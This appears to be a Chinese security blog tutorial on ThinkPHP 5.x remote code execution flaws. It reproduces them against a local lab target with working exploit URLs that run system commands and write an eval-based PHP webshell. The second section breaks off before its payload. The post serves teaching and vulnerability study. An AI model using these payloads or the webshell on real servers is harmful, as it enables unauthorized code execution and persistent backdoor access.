【web安全】——常见框架漏洞

1.ThinkPHP框架漏洞

thinkphp是一个国内轻量级的开发框架,采用php+apache,在更新迭代中,thinkphp也经常爆出各种漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前两个版本已经停止更新,主要介绍下thinkphp5的漏洞

1.1Thinkphp 5.0.22/5.1.29远程代码执行漏洞

1.1.1原理

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

1.1.2关键函数

call_user_func_array():

调用回调函数,可以将把一个数组参数作为回调函数的参数

应用于要调用的函数名是未知的或要调用函数的参数类型及个数是未知的情况

例如:

#demo1

<?php

$a = array('whoami','hostname');

call_user_func('system',$a[1]);

?>

1.1.3漏洞复现

搭建靶场

通过代码执行Payload,执行phpinfo

http://192.168.52.136:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

通过代码执行Payload,执行系统命令

http://192.168.52.136:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

通过过代码执行Payload,写入shell;

注意:为了防止特殊字符导致写入失败,需要将Payload进行URL编码

http://192.168.52.136:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]= <%3Fphp phpinfo()%3Beval($_POST['cmd'])%3B%3F>

访问写入的shell.php,出现phpinfo界面,证明写入成功

http://192.168.52.136:8080/shell.php

蚁剑连接成功

1.2Thinkphp 5.0.23远程代码执行漏洞

1.2.1实验原理

原理:ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

1.2.2漏洞复现

搭建靶场

打开BurpSuite,刷新页面,抓取到数据包

将包发送至Repeater,并构造命令执行的Payload

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你怎么睡得着的!

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值